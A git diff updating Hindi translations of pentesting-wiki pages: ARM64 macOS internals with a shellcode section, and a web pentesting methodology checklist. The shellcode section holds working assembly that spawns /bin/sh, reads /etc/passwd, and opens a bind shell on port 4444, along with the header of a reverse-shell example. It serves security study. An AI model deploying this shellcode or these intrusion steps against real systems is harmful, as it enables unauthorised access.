निष्पादन स्थिति को निर्धारित करते हैं। **5वां** यह दर्शाता है कि प्रोग्राम 32-बिट (1) या 64-बिट (0) के रूप में चल रहा है। अन्य 4 वर्तमान में उपयोग किए जा रहे **अपवाद मोड** का प्रतिनिधित्व करते हैं (जब कोई अपवाद होता है और इसे संभाला जा रहा है)। सेट किया गया संख्या **वर्तमान प्राथमिकता** को दर्शाता है यदि इस दौरान कोई अन्य अपवाद उत्पन्न होता है। +- The **`J`** and **`T`** bits: **`J`** should be 0 and if **`T`** is 0 the instruction set A32 is used, and if it's 1, the T32 is used. +- **IT Block State Register** (`ITSTATE`): These are the bits from 10-15 and 25-26. They store conditions for instructions inside an **`IT`** prefixed group. +- **`E`** bit: Indicates the **endianness**. +- **Mode and Exception Mask Bits** (0-4): They determine the current execution state. The **5th** one indicates if the program runs as 32bit (a 1) or 64bit (a 0). The other 4 represents the **exception mode currently in used** (when a exception occurs and it's being handled). The number set **indicates the current priority** in case another exception is triggered while this is being handled.
-- **`AIF`**: कुछ अपवादों को **`A`**, `I`, `F` बिट्स का उपयोग करके अक्षम किया जा सकता है। यदि **`A`** 1 है तो इसका मतलब है कि **असिंक्रोनस एबॉर्ट्स** उत्पन्न होंगे। **`I`** बाहरी हार्डवेयर **इंटरप्ट रिक्वेस्ट्स** (IRQs) का उत्तर देने के लिए कॉन्फ़िगर करता है। और F **फास्ट इंटरप्ट रिक्वेस्ट्स** (FIRs) से संबंधित है। +- **`AIF`**: Certain exceptions can be disabled using the bits **`A`**, `I`, `F`. If **`A`** is 1 it means **asynchronous aborts** will be triggered. The **`I`** configures to respond to external hardware **Interrupts Requests** (IRQs). and the F is related to **Fast Interrupt Requests** (FIRs). ## macOS ### BSD syscalls -[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) देखें। BSD syscalls में **x16 > 0** होगा। +Check out [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) or run `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`. BSD syscalls will have **x16 > 0**. ### Mach Traps -[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) में `mach_trap_table` और [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) में प्रोटोटाइप देखें। Mach traps की अधिकतम संख्या `MACH_TRAP_TABLE_COUNT` = 128 है। Mach traps में **x16 < 0** होगा, इसलिए आपको पिछले सूची से नंबर को **माइनस** के साथ कॉल करना होगा: **`_kernelrpc_mach_vm_allocate_trap`** **`-10`** है। +Check out in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) the `mach_trap_table` and in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) the prototypes. The mex number of Mach traps is `MACH_TRAP_TABLE_COUNT` = 128. Mach traps will have **x16 < 0**, so you need to call the numbers from the previous list with a **minus**: **`_kernelrpc_mach_vm_allocate_trap`** is **`-10`**. -आप **`libsystem_kernel.dylib`** को डिसअसेंबलर में भी देख सकते हैं यह जानने के लिए कि इन (और BSD) syscalls को कैसे कॉल किया जाए: +You can also check **`libsystem_kernel.dylib`** in a disassembler to find how to call these (and BSD) syscalls: ```bash # macOS dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib # iOS dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 ``` -ध्यान दें कि **Ida** और **Ghidra** कैश से **विशिष्ट dylibs** को केवल कैश पास करके भी डिकंपाइल कर सकते हैं। +Note that **Ida** and **Ghidra** can also decompile **specific dylibs** from the cache just by passing the cache. > [!TIP] -> कभी-कभी **`libsystem_kernel.dylib`** से **डिकंपाइल** किया गया कोड **जांचना** **स्रोत कोड** की तुलना में आसान होता है क्योंकि कई syscalls (BSD और Mach) का कोड स्क्रिप्ट के माध्यम से उत्पन्न होता है (स्रोत कोड में टिप्पणियाँ देखें) जबकि dylib में आप देख सकते हैं कि क्या कॉल किया जा रहा है। +> कभी-कभी **`libsystem_kernel.dylib`** से मिला हुआ **decompiled** code देखना **source code** की जाँच करने से आसान होता है क्योंकि कई syscalls (BSD और Mach) का code scripts के जरिए generate होता है (source code के comments देखें), जबकि dylib में आप देख सकते हैं कि वास्तव में क्या कॉल हो रहा है। -### machdep कॉल +### machdep calls -XNU एक और प्रकार के कॉल का समर्थन करता है जिसे मशीन निर्भर कहा जाता है। इन कॉल की संख्या आर्किटेक्चर पर निर्भर करती है और न तो कॉल और न ही संख्या स्थिर रहने की गारंटी है। +XNU एक और प्रकार के कॉल्स को सपोर्ट करता है जिन्हें machine dependent कहा जाता है। इन कॉल्स के नंबर आर्किटेक्चर पर निर्भर करते हैं और न तो कॉल्स और न ही उनके नंबरों की स्थिरता की गारंटी दी जा सकती है। -### comm पृष्ठ +### comm page -यह एक कर्नेल मालिक मेमोरी पृष्ठ है जो हर उपयोगकर्ता प्रक्रिया के पते के स्केप में मैप किया गया है। इसका उद्देश्य उपयोगकर्ता मोड से कर्नेल स्पेस में संक्रमण को तेज करना है, ताकि कर्नेल सेवाओं के लिए syscalls का उपयोग करने की तुलना में यह संक्रमण बहुत अप्रभावी न हो। +यह एक kernel-owned memory page है जो हर user process के address space में मैप होती है। इसका उद्देश्य user mode से kernel space में transition को तेज बनाना है — उन kernel services के लिए syscalls का उपयोग करने की बजाय, जो इतनी बार उपयोग में आते हैं कि बार-बार syscall करना बहुत inefficient होगा। -उदाहरण के लिए, कॉल `gettimeofdate` सीधे comm पृष्ठ से `timeval` का मान पढ़ता है। +For example the call `gettimeofdate` reads the value of `timeval` directly from the comm page. ### objc_msgSend -यह फ़ंक्शन Objective-C या Swift प्रोग्रामों में उपयोग में लाना बहुत सामान्य है। यह फ़ंक्शन एक Objective-C ऑब्जेक्ट के एक मेथड को कॉल करने की अनुमति देता है। +Objective-C या Swift प्रोग्राम्स में यह function बहुत आम है। यह function किसी Objective-C object के method को कॉल करने की अनुमति देता है। -पैरामीटर ([दस्तावेज़ में अधिक जानकारी](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): +Parameters ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): -- x0: self -> इंस्टेंस का पॉइंटर -- x1: op -> मेथड का सेलेक्टर -- x2... -> कॉल किए गए मेथड के शेष तर्क +- x0: self -> instance का pointer +- x1: op -> method का selector +- x2... -> कॉल किए गए method के बाकी arguments -तो, यदि आप इस फ़ंक्शन की शाखा से पहले ब्रेकपॉइंट लगाते हैं, तो आप आसानी से lldb में देख सकते हैं कि क्या कॉल किया जा रहा है (इस उदाहरण में ऑब्जेक्ट `NSConcreteTask` से एक ऑब्जेक्ट को कॉल करता है जो एक कमांड चलाएगा): +तो, अगर आप इस function की branch से पहले breakpoint लगाते हैं, तो आप lldb में आसानी से पता लगा सकते हैं कि क्या invoke हो रहा है (इस उदाहरण में ऑब्जेक्ट `NSConcreteTask` के एक object को कॉल कर रहा है जो एक कमांड चलाएगा): ```bash # Right in the line were objc_msgSend will be called (lldb) po $x0 @@ -369,31 +372,31 @@ whoami ) ``` > [!TIP] -> env वेरिएबल **`NSObjCMessageLoggingEnabled=1`** सेट करने से यह लॉग करना संभव है कि यह फ़ंक्शन कब कॉल किया गया है, जैसे कि `/tmp/msgSends-pid` फ़ाइल में। +> Setting the env variable **`NSObjCMessageLoggingEnabled=1`** से आप लॉग कर सकते हैं जब यह फ़ंक्शन कॉल होता है, एक फ़ाइल जैसे `/tmp/msgSends-pid` में। > -> इसके अलावा, **`OBJC_HELP=1`** सेट करने और किसी भी बाइनरी को कॉल करने पर आप अन्य पर्यावरण वेरिएबल देख सकते हैं जिन्हें आप **log** करने के लिए उपयोग कर सकते हैं जब कुछ Objc-C क्रियाएँ होती हैं। +> इसके अलावा, **`OBJC_HELP=1`** सेट करके और कोई भी binary कॉल करने पर आप अन्य environment variables देख सकते हैं जिनका उपयोग आप certain Objc-C actions के होने पर **लॉग** करने के लिए कर सकते हैं। -जब यह फ़ंक्शन कॉल किया जाता है, तो निर्दिष्ट उदाहरण के कॉल किए गए मेथड को ढूंढना आवश्यक है, इसके लिए विभिन्न खोजें की जाती हैं: +When this function is called, it's needed to find the called method of the indicated instance, for this different searches are made: -- आशावादी कैश लुकअप करें: -- यदि सफल, तो समाप्त -- runtimeLock प्राप्त करें (पढ़ें) -- यदि (realize && !cls->realized) क्लास को realize करें -- यदि (initialize && !cls->initialized) क्लास को initialize करें -- क्लास के अपने कैश को आजमाएं: -- यदि सफल, तो समाप्त -- क्लास मेथड सूची को आजमाएं: -- यदि पाया गया, तो कैश भरें और समाप्त -- सुपरक्लास कैश को आजमाएं: -- यदि सफल, तो समाप्त -- सुपरक्लास मेथड सूची को आजमाएं: -- यदि पाया गया, तो कैश भरें और समाप्त -- यदि (resolver) मेथड रिसॉल्वर को आजमाएं, और क्लास लुकअप से दोहराएं -- यदि अभी भी यहाँ हैं (= सभी अन्य विफल हो गए हैं) तो फॉरवर्डर को आजमाएं +- Optimistic cache lookup करें: +- यदि सफल हो तो समाप्त। +- runtimeLock (read) प्राप्त करें +- If (realize && !cls->realized) realize class +- If (initialize && !cls->initialized) initialize class +- class की अपनी cache आज़माएँ: +- यदि सफल हो तो समाप्त। +- class method list आज़माएँ: +- यदि मिला तो cache भरें और समाप्त। +- superclass cache आज़माएँ: +- यदि सफल हो तो समाप्त। +- superclass method list आज़माएँ: +- यदि मिला तो cache भरें और समाप्त। +- If (resolver) method resolver आज़माएँ, और class lookup से दोहराएँ +- यदि अभी भी यहाँ हैं (= अन्य सब विफल), तो forwarder आज़माएँ ### Shellcodes -To compile: +कम्पाइल करने के लिए: ```bash as -o shell.o shell.s ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib @@ -417,7 +420,7 @@ done ```
-शेलकोड का परीक्षण करने के लिए C कोड +C code जो shellcode का परीक्षण करता है ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader @@ -465,9 +468,9 @@ return 0; ```
-#### शेल +#### Shell -[**यहाँ**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) से लिया गया और समझाया गया। +यह [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) से लिया गया है और समझाया गया है। {{#tabs}} {{#tab name="with adr"}} @@ -537,9 +540,9 @@ sh_path: .asciz "/bin/sh" {{#endtab}} {{#endtabs}} -#### कैट के साथ पढ़ें +#### cat के साथ पढ़ें -लक्ष्य है `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` को निष्पादित करना, इसलिए दूसरा तर्क (x1) पैरामीटर का एक ऐरे है (जो मेमोरी में इनका मतलब पतों के स्टैक से है)। +लक्ष्य है `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` को निष्पादित करना, इसलिए दूसरा argument (x1) params की एक array है (जो memory में addresses का stack होता है). ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -565,7 +568,7 @@ cat_path: .asciz "/bin/cat" .align 2 passwd_path: .asciz "/etc/passwd" ``` -#### एक फोर्क से sh के साथ कमांड को लागू करें ताकि मुख्य प्रक्रिया समाप्त न हो। +#### fork से sh के साथ command invoke करें ताकि main process killed न हो ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -611,7 +614,7 @@ touch_command: .asciz "touch /tmp/lalala" ``` #### Bind shell -**पोर्ट 4444** में [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) से Bind shell +Bind shell [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s] से **port 4444** पर ```armasm .section __TEXT,__text .global _main @@ -693,9 +696,9 @@ mov x2, xzr mov x16, #59 svc #0x1337 ``` -#### रिवर्स शेल +#### Reverse shell -From [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell to **127.0.0.1:4444** +स्रोत: [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell को **127.0.0.1:4444** पर ```armasm .section __TEXT,__text .global _main diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index be5bde175..7894a623d 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -1,10 +1,10 @@ -# 80,443 - Pentesting वेब कार्यप्रणाली +# 80,443 - Pentesting Web Methodology {{#include ../../banners/hacktricks-training.md}} ## बुनियादी जानकारी -वेब सर्विस सबसे **सामान्य और व्यापक सेवा** है और इसमें कई **विभिन्न प्रकार की vulnerabilities** मौजूद हैं। +वेब सेवा सबसे **सामान्य और व्यापक सेवा** है और कई प्रकार की **vulnerabilities** मौजूद हैं। **डिफ़ॉल्ट पोर्ट:** 80 (HTTP), 443(HTTPS) ```bash @@ -17,7 +17,7 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### वेब API मार्गदर्शन +### Web API मार्गदर्शन {{#ref}} @@ -26,46 +26,46 @@ web-api-pentesting.md ## कार्यप्रणाली सारांश -> इस कार्यप्रणाली में हम मानकर चलेंगे कि आप केवल एक domain (or subdomain) पर हमला करने जा रहे हैं। इसलिए, आपको इस कार्यप्रणाली को दायरे (scope) के अंदर पाए गए प्रत्येक discovered domain, subdomain या IP (जिसमें अनिर्धारित web server हो) पर लागू करना चाहिए। +> इस कार्यप्रणाली में हम मानेंगे कि आप केवल एक domain (या subdomain) पर हमला कर रहे हैं और केवल वही। इसलिए, आपको यह कार्यप्रणाली उस scope के भीतर पाए गए हर domain, subdomain या IP (जिसमें undetermined web server हो) पर लागू करनी चाहिए। -- [ ] प्रारम्भ में **पहचानें** कि वेब सर्वर किन **technologies** का उपयोग कर रहा है। यदि आप tech की पहचान करने में सफल होते हैं तो test के बाकी हिस्सों के दौरान ध्यान में रखने के लिए कोई **tricks** देखें। -- [ ] क्या उस technology के संस्करण के लिए कोई **known vulnerability** है? -- [ ] कोई **well known tech** इस्तेमाल हो रही है? कोई **useful trick** है जो अधिक जानकारी निकालने में मदद करे? -- [ ] कोई **specialised scanner** चलाने योग्य है (जैसे wpscan)? -- [ ] **general purposes scanners** चलाएँ। आप कभी नहीं जान पाते कि वे कुछ खोज लेंगे या कोई रोचक जानकारी देंगे। -- [ ] **initial checks** से शुरू करें: **robots**, **sitemap**, **404** error और **SSL/TLS scan** (यदि HTTPS)। -- [ ] वेब पृष्ठ पर **spidering** शुरू करें: यह सभी संभावित **files, folders** और उपयोग में आने वाले **parameters** को **find** करने का समय है। साथ ही **special findings** की जाँच करें। -- [ ] _ध्यान दें कि जब भी brute-forcing या spidering के दौरान कोई नया directory मिलती है, उसे spider किया जाना चाहिए।_ -- [ ] **Directory Brute-Forcing**: खोजे गए सभी folders को brute force करके नए **files** और **directories** खोजने का प्रयास करें। -- [ ] _ध्यान दें कि जब भी brute-forcing या spidering के दौरान कोई नया directory मिलती है, उसे Brute-Forced किया जाना चाहिए।_ -- [ ] **Backups checking**: सामान्य backup extensions जोड़कर क्या आप खोजे गए **files** के **backups** पा सकते हैं, यह जांचें। -- [ ] **Brute-Force parameters**: छिपे हुए parameters को **find** करने का प्रयास करें। -- [ ] एक बार जब आप सभी संभावित **endpoints** को पहचान लें जो **user input** स्वीकार करते हैं, तो उनसे संबंधित सभी प्रकार की **vulnerabilities** की जाँच करें। -- [ ] [इस चेकलिस्ट का पालन करें](../../pentesting-web/web-vulnerabilities-methodology.md) +- [ ] शुरू करें **पहचान करने** से कि वेब सर्वर द्वारा कौन सी **technologies** उपयोग की जा रही हैं। अगर आप tech को सफलतापूर्वक पहचान पाते हैं तो टेस्ट के बाकी हिस्सों के दौरान ध्यान में रखने के लिए **tricks** देखें। +- [ ] क्या उस technology के version की कोई **known vulnerability** है? +- [ ] कोई **well known tech** उपयोग किया जा रहा है? कोई ऐसा **useful trick** जिससे अधिक जानकारी निकाली जा सके? +- [ ] कोई **specialised scanner** चलाने के लिए (जैसे wpscan)? +- [ ] सामान्य प्रयोजन के **scanners** लॉन्च करें। कभी-कभी वे कुछ ढूंढ लेते हैं या कुछ रोचक जानकारी दे देते हैं। +- [ ] **initial checks** से शुरू करें: **robots**, **sitemap**, **404** error और **SSL/TLS scan** (if HTTPS)। +- [ ] वेब पेज पर **spidering** शुरू करें: अब समय है सभी संभावित **files, folders** और प्रयोग हो रहे **parameters** खोजने का। साथ ही **special findings** की जांच करें। +- [ ] _नोट: किसी भी नया directory जब भी brute-forcing या spidering के दौरान मिलती है, उसे spider किया जाना चाहिए।_ +- [ ] **Directory Brute-Forcing**: सभी खोजे गए folders पर brute force करके नए **files** और **directories** खोजने की कोशिश करें। +- [ ] _नोट: किसी भी नया directory जब भी brute-forcing या spidering के दौरान मिलता है, उसे Brute-Forced किया जाना चाहिए।_ +- [ ] **Backups checking**: देखें क्या आप पाए गए **files** के **backups** सामान्य backup extensions जोड़कर ढूंढ सकते हैं। +- [ ] **Brute-Force parameters**: छिपे हुए parameters खोजने की कोशिश करें। +- [ ] एक बार जब आपने सभी संभावित **endpoints** जो **user input** स्वीकार करते हैं, की **पहचान** कर ली हो, तो उन सभी प्रकार की संबंधित **vulnerabilities** की जाँच करें। +- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) -## सर्वर संस्करण (Vulnerable?) +## सर्वर संस्करण (कमजोर?) ### पहचान -जाँचें कि चल रहे सर्वर के **version** के लिए कोई **known vulnerabilities** मौजूद हैं या नहीं।\ -रिस्पॉन्स के **HTTP headers and cookies** तकनीकें और/या उपयोग किए जा रहे **version** की **पहचान** के लिए बहुत उपयोगी हो सकते हैं। **Nmap scan** सर्वर version की पहचान कर सकता है, लेकिन tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) या [**https://builtwith.com/**](https://builtwith.com) भी उपयोगी हो सकते हैं: +जाँच करें कि चल रहे सर्वर के उस **version** के लिए कोई **known vulnerabilities** तो नहीं हैं।\ +प्रतिक्रिया के **HTTP headers और cookies** तकनीकों और/या उपयोग हो रहे संस्करण की **पहचान** करने में बहुत उपयोगी हो सकते हैं। **Nmap scan** सर्वर संस्करण की पहचान कर सकता है, लेकिन यह उपकरण [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -खोजें **के लिए** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) +खोजें [**वेब एप्लिकेशन के संस्करण की vulnerabilities**](../../generic-hacking/search-exploits.md) -### **जांचें कि कोई WAF है या नहीं** +### **जाँचें कि कोई WAF है या नहीं** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### वेब टेक ट्रिक्स +### Web tech tricks -कई प्रसिद्ध उपयोग किए जाने वाली **technologies** में **finding vulnerabilities** के लिए कुछ **tricks**: +कई जानकारियों: विभिन्न well known technologies में vulnerabilities खोजने के लिए कुछ ट्रिक्स: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -101,27 +101,27 @@ webanalyze -host https://google.com -crawl 2 - [**Wordpress**](wordpress.md) - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) -_ध्यान में रखें कि वही **domain** अलग-अलग **ports**, **folders** और **subdomains** में अलग-अलग **technologies** का उपयोग कर सकता है._\ -यदि web application किसी भी पहले सूचीबद्ध जाने-माने **tech/platform** या किसी अन्य का उपयोग कर रही है, तो Internet पर नए ट्रिक्स खोजना न भूलें (और मुझे बताएं!). +_ध्यान रखें कि वही **domain** विभिन्न **technologies** को विभिन्न **ports**, **folders** और **subdomains** पर इस्तेमाल कर सकता है._\ +यदि web application किसी भी पहले सूचीबद्ध well known **tech/platform** या किसी अन्य का उपयोग कर रही है, तो Internet पर नई **tricks** खोजना न भूलें (और मुझे सूचित करें!). -### स्रोत कोड समीक्षा +### Source Code Review -यदि एप्लिकेशन का **source code** **github** पर उपलब्ध है, तो एप्लिकेशन का **your own a White box test** करने के अलावा कुछ ऐसी **information** हो सकती है जो वर्तमान **Black-Box testing** के लिए उपयोगी हो: +यदि application का **source code** github पर उपलब्ध है, तो अपनी तरफ से एक **White box test** करने के अलावा कुछ जानकारी है जो वर्तमान **Black-Box testing** के लिए उपयोगी हो सकती है: -- क्या कोई **Change-log or Readme or Version** फ़ाइल या कोई ऐसी चीज़ है जिसमें **version info accessible** वेब पर उपलब्ध हो? -- क्रेडेंशियल्स किस तरह और कहाँ सहेजे जाते हैं? क्या कोई (पहुंच योग्य?) **file** है जिसमें credentials (usernames या passwords) हों? +- क्या कोई **Change-log or Readme or Version** file या कोई और चीज़ है जिसमें **version info accessible** वेब के माध्यम से मिल सकती है? +- **Credentials** कैसे और कहाँ सेव किए जाते हैं? क्या कोई (accessible?) **file** है जिसमें credentials (usernames या passwords) हैं? - क्या **passwords** **plain text** में हैं, **encrypted** हैं या किस **hashing algorithm** का उपयोग किया गया है? -- क्या यह कुछ encrypt करने के लिए किसी **master key** का उपयोग कर रहा है? कौन सा **algorithm** उपयोग किया गया है? -- क्या आप किसी vulnerability का उपयोग करके इनमें से किसी फ़ाइल तक **access any of these files** कर सकते हैं? -- क्या github में कोई **interesting information** है (solved और not solved) **issues** में? या **commit history** में (शायद कोई **password introduced inside an old commit**)? +- क्या कुछ encrypt करने के लिए कोई **master key** उपयोग हो रही है? कौन सा **algorithm** उपयोग किया जा रहा है? +- क्या आप किसी vulnerability का फायदा उठाकर इन में से किसी भी **file** को **access** कर सकते हैं? +- क्या github में (solve किए गए और unsolved) **issues** में कोई दिलचस्प जानकारी है? या **commit history** में (शायद किसी पुराने commit में कोई **password** शामिल किया गया हो)? {{#ref}} code-review-tools.md {{#endref}} -### स्वचालित स्कैनर +### Automatic scanners -#### सामान्य प्रयोजन स्वचालित स्कैनर +#### General purpose automatic scanners ```bash nikto -h whatweb -a 4 @@ -133,14 +133,14 @@ nuclei -ut && nuclei -target # https://github.com/ignis-sec/puff (client side vulns fuzzer) node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" ``` -#### CMS स्कैनर +#### CMS scanners -यदि कोई CMS उपयोग में है तो **स्कैनर चलाना** न भूलें, शायद कुछ दिलचस्प मिल जाए: +यदि कोई CMS उपयोग किया जा रहा है तो **run a scanner** करना न भूलें, शायद कुछ दिलचस्प मिल जाए: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** websites for Security issues. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** वेबसाइट्स के Security issues के लिए। (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ -**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\ +**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **या** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) ```bash cmsmap [-f W] -F -d @@ -148,43 +148,43 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> इस चरण तक आपके पास क्लाइंट द्वारा उपयोग किए जा रहे वेब सर्वर के बारे में कुछ जानकारी होनी चाहिए (यदि कोई डेटा दिया गया हो) और टेस्ट के दौरान ध्यान में रखने के लिए कुछ ट्रिक्स। अगर आप भाग्यशाली हैं तो आपने किसी CMS को भी ढूंढ लिया होगा और कोई scanner चला लिया होगा। +> इस बिंदु पर आपके पास क्लाइंट द्वारा उपयोग किए जा रहे वेब सर्वर के बारे में कुछ जानकारी होनी चाहिए (यदि कोई डेटा दिया गया है) और टेस्ट के दौरान ध्यान में रखने के लिए कुछ ट्रिक्स। अगर आप भाग्यशाली हैं तो आपने एक CMS भी ढूंढ लिया होगा और कुछ scanner चलाया होगा। ## चरण-दर-चरण वेब एप्लिकेशन खोज -> इस बिंदु से हम वेब एप्लिकेशन के साथ इंटरैक्ट करना शुरू करने जा रहे हैं। +> इस बिंदु से हम वेब एप्लिकेशन के साथ इंटरैक्ट करना शुरू करेंगे। ### प्रारंभिक जांच -**रुचिकर जानकारी वाले Default pages:** +**डिफ़ॉल्ट पेज जिनमें रोचक जानकारी हो सकती है:** - /robots.txt - /sitemap.xml - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- मुख्य और द्वितीयक पृष्ठों में टिप्पणियाँ भी जांचें। +- मुख्य और द्वितीयक पृष्ठों में टिप्पणियाँ भी देखें। -**त्रुटियाँ जबरन उत्पन्न करना** +**Forcing errors** -वेब सर्वर जब अजीब डेटा मिलता है तो **अनपेक्षित व्यवहार** कर सकते हैं। यह कुछ **vulnerabilities** या **संवेदनशील जानकारी का खुलासा** कर सकता है। +वेब सर्वर तब **behave unexpectedly** कर सकते हैं जब उन्हें अजीब डेटा भेजा जाए। इससे कुछ **vulnerabilities** खुल सकती हैं या **disclosure sensitive information** हो सकता है। -- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc) -- **Add "\[]", "]]", and "\[\["** in **cookie values** and **parameter** values to create errors -- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL** -- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE +- /whatever_fake.php (.aspx,.html,.etc) जैसे **fake pages** को एक्सेस करें +- एरर बनाने के लिए **cookie values** और **parameter** values में "\[]", "]]", और "\[\[" जोड़ें +- URL के **end** पर इनपुट के रूप में **`/~randomthing/%s`** देकर error जनरेट करें +- PATCH, DEBUG जैसे अलग HTTP Verbs आज़माएँ या FAKE जैसे गलत verbs ट्राई करें -#### **यह जांचें कि क्या आप फाइलें अपलोड कर सकते हैं (**[**PUT verb, WebDav**](put-method-webdav.md)**)** +#### **जाँच करें कि आप फाइलें अपलोड कर सकते हैं (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -यदि आप पाते हैं कि **WebDav** **enabled** है पर root फ़ोल्डर में **uploading files** की पर्याप्त permissions नहीं है तो कोशिश करें: +यदि आप पाएँ कि **WebDav** **enabled** है पर root folder में फाइलें अपलोड करने के लिए पर्याप्त permissions नहीं हैं तो कोशिश करें: - **Brute Force** credentials -- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders. +- वेब पेज के अंदर मिले हुए बाकी **found folders** में **Upload files** via WebDav करें। हो सकता है कि आपके पास अन्य फ़ोल्डरों में फाइलें अपलोड करने की permissions हों। -### **SSL/TLS कमजोरियाँ** +### **SSL/TLS vulnerabilites** -- अगर application किसी भी हिस्से में **HTTPS के उपयोग को अनिवार्य** नहीं कर रहा है, तो यह **MitM** के लिए कमजोर है -- अगर application **संवेदनशील डेटा (passwords) को HTTP द्वारा भेज रहा है**। तो यह एक उच्च स्तर की vulnerability है। +- यदि एप्लिकेशन किसी भी हिस्से में **isn't forcing the user of HTTPS** है, तो यह **vulnerable to MitM** है +- यदि एप्लिकेशन **sending sensitive data (passwords) using HTTP** कर रहा है, तो यह एक हाई vulnerability है। Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities: ```bash @@ -202,51 +202,51 @@ Information about SSL/TLS vulnerabilities: ### Spidering -वेब के भीतर किसी तरह का **spider** लॉन्च करें। spider का उद्देश्य परीक्षण किए गए एप्लिकेशन से जितने संभव हो सकने वाले पाथ्स को **खोजना** है। इसलिए, web crawling और external sources का उपयोग करके जितने संभव वैध पाथ्स मिलें उन्हें इकट्ठा करना 